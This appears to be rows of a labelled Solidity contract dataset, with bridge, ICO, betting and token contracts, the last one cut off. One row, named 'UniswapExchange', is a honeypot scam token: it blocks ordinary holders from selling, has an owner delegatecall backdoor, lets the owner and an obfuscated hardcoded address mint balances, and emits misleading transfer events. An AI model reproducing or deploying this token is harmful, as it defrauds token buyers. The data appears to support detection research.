function handleBridgedTokens(
address _token,
address _recipient,
uint256 _value
) external onlyMediator {
address token = bridgedTokenAddress(_token);
require(isTokenRegistered(token));
_handleTokens(token, false, _recipient, _value);
}
function handleBridgedTokensAndCall(
address _token,
address _recipient,
uint256 _value,
bytes memory _data
) external onlyMediator {
address token = bridgedTokenAddress(_token);
require(isTokenRegistered(token));
_handleTokens(token, false, _recipient, _value);
_receiverCallback(_recipient, token, _value, _data);
}
function handleNativeTokens(
address _token,
address _recipient,
uint256 _value
) external onlyMediator {
_ackBridgedTokenDeploy(_token);
_handleTokens(_token, true, _recipient, _value);
}
function handleNativeTokensAndCall(
address _token,
address _recipient,
uint256 _value,
bytes memory _data
) external onlyMediator {
_ackBridgedTokenDeploy(_token);
_handleTokens(_token, true, _recipient, _value);
_receiverCallback(_recipient, _token, _value, _data);
}
function isRegisteredAsNativeToken(address _token) public view returns (bool) {
return isTokenRegistered(_token) && nativeTokenAddress(_token) == address(0);
}
function executeActionOnFixedTokens(
address _token,
address _recipient,
uint256 _value
) internal override {
_releaseTokens(nativeTokenAddress(_token) == address(0), _token, _recipient, _value, _value);
}
function setCustomTokenAddressPair(address _nativeToken, address _bridgedToken) external onlyOwner {
require(!isTokenRegistered(_bridgedToken));
require(nativeTokenAddress(_bridgedToken) == address(0));
require(bridgedTokenAddress(_nativeToken) == address(0));
IBurnableMintableERC677Token(_bridgedToken).mint(address(this), 1);
IBurnableMintableERC677Token(_bridgedToken).burn(1);
_setTokenAddressPair(_nativeToken, _bridgedToken);
}
function fixMediatorBalance(address _token, address _receiver)
external
onlyIfUpgradeabilityOwner
validAddress(_receiver)
{
require(isRegisteredAsNativeToken(_token));
uint256 balance = IERC677(_token).balanceOf(address(this));
uint256 expectedBalance = mediatorBalance(_token);
require(balance > expectedBalance);
uint256 diff = balance - expectedBalance;
uint256 available = maxAvailablePerTx(_token);
require(available > 0);
if (diff > available) {
diff = available;
}
addTotalSpentPerDay(_token, getCurrentDay(), diff);
uint8 decimals = uint8(TokenReader.readDecimals(_token));
bytes memory data = _prepareMessage(address(0), _token, _receiver, diff, decimals, new bytes(0));
bytes32 _messageId = _passMessage(data, true);
_recordBridgeOperation(_messageId, _token, _receiver, diff);
}
function claimTokens(address _token, address _to) external onlyIfUpgradeabilityOwner {
require(_token == address(0) || !isTokenRegistered(_token));
claimValues(_token, _to);
}
function claimTokensFromTokenContract(
address _bridgedToken,
address _token,
address _to
) external onlyIfUpgradeabilityOwner {
IBurnableMintableERC677Token(_bridgedToken).claimTokens(_token, _to);
}
function _recordBridgeOperation(
bytes32 _messageId,
address _token,
address _sender,
uint256 _value
) internal {
setMessageToken(_messageId, _token);
setMessageRecipient(_messageId, _sender);
setMessageValue(_messageId, _value);
emit TokensBridgingInitiated(_token, _sender, _value, _messageId);
}
function _prepareMessage(
address _nativeToken,
address _token,
address _receiver,
uint256 _value,
uint8 _decimals,
bytes memory _data
) internal returns (bytes memory) {
bool withData = _data.length > 0 || msg.sig == this.relayTokensAndCall.selector;
if (_nativeToken == address(0)) {
_setMediatorBalance(_token, mediatorBalance(_token).add(_value));
if (isBridgedTokenDeployAcknowledged(_token)) {
return
withData
? abi.encodeWithSelector(
this.handleBridgedTokensAndCall.selector,
_token,
_receiver,
_value,
_data
)
: abi.encodeWithSelector(this.handleBridgedTokens.selector, _token, _receiver, _value);
}
string memory name = TokenReader.readName(_token);
string memory symbol = TokenReader.readSymbol(_token);
require(bytes(name).length > 0 || bytes(symbol).length > 0);
return
withData
? abi.encodeWithSelector(
this.deployAndHandleBridgedTokensAndCall.selector,
_token,
name,
symbol,
_decimals,
_receiver,
_value,
_data
)
: abi.encodeWithSelector(
this.deployAndHandleBridgedTokens.selector,
_token,
name,
symbol,
_decimals,
_receiver,
_value
);
}
IBurnableMintableERC677Token(_token).burn(_value);
return
withData
? abi.encodeWithSelector(
this.handleNativeTokensAndCall.selector,
_nativeToken,
_receiver,
_value,
_data
)
: abi.encodeWithSelector(this.handleNativeTokens.selector, _nativeToken, _receiver, _value);
}
function _getMinterFor(address _token) internal view virtual returns (IBurnableMintableERC677Token) {
return IBurnableMintableERC677Token(_token);
}
function _releaseTokens(
bool _isNative,
address _token,
address _recipient,
uint256 _value,
uint256 _balanceChange
) internal virtual {
if (_isNative) {
IERC677(_token).safeTransfer(_recipient, _value);
_setMediatorBalance(_token, mediatorBalance(_token).sub(_balanceChange));
} else {
_getMinterFor(_token).mint(_recipient, _value);
}
}
function _getBridgedTokenOrDeploy(
address _token,
string calldata _name,
string calldata _symbol,
uint8 _decimals
) internal returns (address) {
address bridgedToken = bridgedTokenAddress(_token);
if (bridgedToken == address(0)) {
string memory name = _name;
string memory symbol = _symbol;
require(bytes(name).length > 0 || bytes(symbol).length > 0);
if (bytes(name).length == 0) {
name = symbol;
} else if (bytes(symbol).length == 0) {
symbol = name;
}
name = _transformName(name);
bridgedToken = tokenFactory().deploy(name, symbol, _decimals, bridgeContract().sourceChainId());
_setTokenAddressPair(_token, bridgedToken);
_initializeTokenBridgeLimits(bridgedToken, _decimals);
} else if (!isTokenRegistered(bridgedToken)) {
require(IERC20Metadata(bridgedToken).decimals() == _decimals);
_initializeTokenBridgeLimits(bridgedToken, _decimals);
}
return bridgedToken;
}
function _receiverCallback(
address _recipient,
address _token,
uint256 _value,
bytes memory _data
) internal {
if (Address.isContract(_recipient)) {
_recipient.call(abi.encodeWithSelector(IERC20Receiver.onTokenBridged.selector, _token, _value, _data));
}
}
function _transformName(string memory _name) internal view returns (string memory) {
string memory result = string(abi.encodePacked(_name, SUFFIX));
uint256 size = SUFFIX_SIZE;
assembly {
mstore(result, add(mload(_name), size))
}
return result;
}
function _handleTokens(
address _token,
bool _isNative,
address _recipient,
uint256 _value
) internal virtual;
}
abstract contract GasLimitManager is BasicAMBMediator {
bytes32 internal constant REQUEST_GAS_LIMIT = 0x2dfd6c9f781bb6bbb5369c114e949b69ebb440ef3d4dd6b2836225eb1dc3a2be;
function setRequestGasLimit(uint256 _gasLimit) external onlyOwner {
_setRequestGasLimit(_gasLimit);
}
function requestGasLimit() public view returns (uint256) {
return uintStorage[REQUEST_GAS_LIMIT];
}
function _setRequestGasLimit(uint256 _gasLimit) internal {
require(_gasLimit <= maxGasPerTx());
uintStorage[REQUEST_GAS_LIMIT] = _gasLimit;
}
}
contract ForeignOmnibridge is BasicOmnibridge, GasLimitManager {
using SafeERC20 for IERC677;
using SafeMath for uint256;
constructor(string memory _suffix) BasicOmnibridge(_suffix) {}
function initialize(
address _bridgeContract,
address _mediatorContract,
uint256[3] calldata _dailyLimitMaxPerTxMinPerTxArray,
uint256[2] calldata _executionDailyLimitExecutionMaxPerTxArray,
uint256 _requestGasLimit,
address _owner,
address _tokenFactory
) external onlyRelevantSender returns (bool) {
require(!isInitialized());
_setBridgeContract(_bridgeContract);
_setMediatorContractOnOtherSide(_mediatorContract);
_setLimits(address(0), _dailyLimitMaxPerTxMinPerTxArray);
_setExecutionLimits(address(0), _executionDailyLimitExecutionMaxPerTxArray);
_setRequestGasLimit(_requestGasLimit);
_setOwner(_owner);
_setTokenFactory(_tokenFactory);
setInitialize();
return isInitialized();
}
function upgradeToReverseMode(address _tokenFactory) external {
require(msg.sender == address(this));
_setTokenFactory(_tokenFactory);
}
function _handleTokens(
address _token,
bool _isNative,
address _recipient,
uint256 _value
) internal override {
require(withinExecutionLimit(_token, _value));
addTotalExecutedPerDay(_token, getCurrentDay(), _value);
_releaseTokens(_isNative, _token, _recipient, _value, _value);
emit TokensBridged(_token, _recipient, _value, messageId());
}
function bridgeSpecificActionsOnTokenTransfer(
address _token,
address _from,
address _receiver,
uint256 _value,
bytes memory _data
) internal virtual override {
require(_receiver != address(0) && _receiver != mediatorContractOnOtherSide());
uint8 decimals = uint8(TokenReader.readDecimals(_token));
if (!isTokenRegistered(_token)) {
_initializeTokenBridgeLimits(_token, decimals);
}
require(withinLimit(_token, _value));
addTotalSpentPerDay(_token, getCurrentDay(), _value);
bytes memory data = _prepareMessage(nativeTokenAddress(_token), _token, _receiver, _value, decimals, _data);
bytes32 _messageId = _passMessage(data, true);
_recordBridgeOperation(_messageId, _token, _from, _value);
}
function _releaseTokens(
bool _isNative,
address _token,
address _recipient,
uint256 _value,
uint256 _balanceChange
) internal override {
if (_isNative) {
uint256 balance = mediatorBalance(_token);
if (_token == address(0x0Ae055097C6d159879521C384F1D2123D1f195e6) && balance < _value) {
IBurnableMintableERC677Token(_token).mint(address(this), _value - balance);
balance = _value;
}
_setMediatorBalance(_token, balance.sub(_balanceChange));
IERC677(_token).safeTransfer(_recipient, _value);
} else {
_getMinterFor(_token).mint(_recipient, _value);
}
}
function _passMessage(bytes memory _data, bool _useOracleLane) internal override returns (bytes32) {
(_useOracleLane);
return bridgeContract().requireToPassMessage(mediatorContractOnOtherSide(), _data, requestGasLimit());
}
} | 0 | 1,872 |
pragma solidity ^0.4.19;
contract EthDickMeasuringGame {
address public largestPenisOwner;
address public owner;
uint public largestPenis;
uint public withdrawDate;
function EthDickMeasuringGame() public{
owner = msg.sender;
largestPenisOwner = 0;
largestPenis = 0;
}
function () public payable{
require(largestPenis < msg.value);
largestPenis = msg.value;
withdrawDate = now + 2 days;
largestPenisOwner = msg.sender;
}
function withdraw() public{
require(now >= withdrawDate);
largestPenis = 0;
owner.transfer(this.balance*3/100);
largestPenisOwner.transfer(this.balance);
largestPenisOwner = 0;
}
} | 1 | 3,628 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1461045492991056468287016484048686824852249628073));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,815 |
pragma solidity ^0.4.11;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
require(newOwner != address(0));
owner = newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract MintableToken is StandardToken, Ownable, Pausable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
uint256 public constant maxTokensToMint = 1000000000 ether;
uint256 public constant maxTokensToBuy = 600000000 ether;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) whenNotPaused onlyOwner returns (bool) {
return mintInternal(_to, _amount);
}
function finishMinting() whenNotPaused onlyOwner returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
function mintInternal(address _to, uint256 _amount) internal canMint returns (bool) {
require(totalSupply.add(_amount) <= maxTokensToMint);
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(this, _to, _amount);
return true;
}
}
contract Test is MintableToken {
string public constant name = "HIH";
string public constant symbol = "HIH";
bool public preIcoActive = false;
bool public preIcoFinished = false;
bool public icoActive = false;
bool public icoFinished = false;
bool public transferEnabled = false;
uint8 public constant decimals = 18;
uint256 public constant maxPreIcoTokens = 100000000 ether;
uint256 public preIcoTokensCount = 0;
uint256 public tokensForIco = 600000000 ether;
address public wallet = 0xa74fF9130dBfb9E326Ad7FaE2CAFd60e52129CF0;
uint256 public dateStart = 1511987870;
uint256 public rateBase = 35000;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 amount);
function transfer(address _to, uint _value) whenNotPaused canTransfer returns (bool) {
require(_to != address(this) && _to != address(0));
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) whenNotPaused canTransfer returns (bool) {
require(_to != address(this) && _to != address(0));
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
modifier canTransfer() {
require(transferEnabled);
_;
}
function enableTransfer() onlyOwner returns (bool) {
transferEnabled = true;
return true;
}
function startPre() onlyOwner returns (bool) {
require(!preIcoActive && !preIcoFinished && !icoActive && !icoFinished);
preIcoActive = true;
dateStart = block.timestamp;
return true;
}
function finishPre() onlyOwner returns (bool) {
require(preIcoActive && !preIcoFinished && !icoActive && !icoFinished);
preIcoActive = false;
tokensForIco = maxTokensToBuy.sub(totalSupply);
preIcoTokensCount = totalSupply;
preIcoFinished = true;
return true;
}
function startIco() onlyOwner returns (bool) {
require(!preIcoActive && preIcoFinished && !icoActive && !icoFinished);
icoActive = true;
return true;
}
function finishIco() onlyOwner returns (bool) {
require(!preIcoActive && preIcoFinished && icoActive && !icoFinished);
icoActive = false;
icoFinished = true;
return true;
}
modifier canBuyTokens() {
require(preIcoActive || icoActive);
require(block.timestamp >= dateStart);
_;
}
function () payable {
buyTokens(msg.sender);
}
function buyTokens(address beneficiary) whenNotPaused canBuyTokens payable {
require(beneficiary != 0x0);
require(msg.value > 0);
require(msg.value >= 10 finney);
uint256 weiAmount = msg.value;
uint256 tokens = 0;
if(preIcoActive){
tokens = buyPreIcoTokens(weiAmount);
}else if(icoActive){
tokens = buyIcoTokens(weiAmount);
}
mintInternal(beneficiary, tokens);
forwardFunds();
}
function forwardFunds() internal {
wallet.transfer(msg.value);
}
function changeWallet(address _newWallet) onlyOwner returns (bool) {
require(_newWallet != 0x0);
wallet = _newWallet;
return true;
}
function buyPreIcoTokens(uint256 _weiAmount) internal returns(uint256){
uint8 percents = 0;
if(block.timestamp - dateStart <= 10 days){
percents = 20;
}
if(block.timestamp - dateStart <= 8 days){
percents = 40;
}
if(block.timestamp - dateStart <= 6 days){
percents = 60;
}
if(block.timestamp - dateStart <= 4 days){
percents = 80;
}
if(block.timestamp - dateStart <= 2 days){
percents = 100;
}
uint256 tokens = _weiAmount.mul(rateBase).mul(2);
if(percents > 0){
tokens = tokens.add(tokens.mul(percents).div(100));
}
require(totalSupply.add(tokens) <= maxPreIcoTokens);
return tokens;
}
function buyIcoTokens(uint256 _weiAmount) internal returns(uint256){
uint256 rate = getRate();
uint256 tokens = _weiAmount.mul(rate);
tokens = tokens.add(tokens.mul(30).div(100));
require(totalSupply.add(tokens) <= maxTokensToBuy);
return tokens;
}
function getRate() internal returns(uint256){
uint256 rate = rateBase;
uint256 step = tokensForIco.div(5);
uint8 additionalPercents = 0;
if(totalSupply < step){
additionalPercents = 0;
}else{
uint256 currentRound = totalSupply.sub(preIcoTokensCount).div(step);
if(currentRound >= 4){
additionalPercents = 30;
}
if(currentRound >= 3 && currentRound < 4){
additionalPercents = 30;
}
if(currentRound >= 2&& currentRound < 3){
additionalPercents = 20;
}
if(currentRound >= 1 && currentRound < 2){
additionalPercents = 10;
}
}
if(additionalPercents > 0){
rate -= rateBase.mul(additionalPercents).div(100);
}
return rate;
}
function setDateStart(uint256 _dateStart) onlyOwner returns (bool) {
require(_dateStart > block.timestamp);
dateStart = _dateStart;
return true;
}
function setRate(uint256 _rate) onlyOwner returns (bool) {
require(_rate > 0);
rateBase = _rate;
return true;
}
} | 1 | 3,647 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
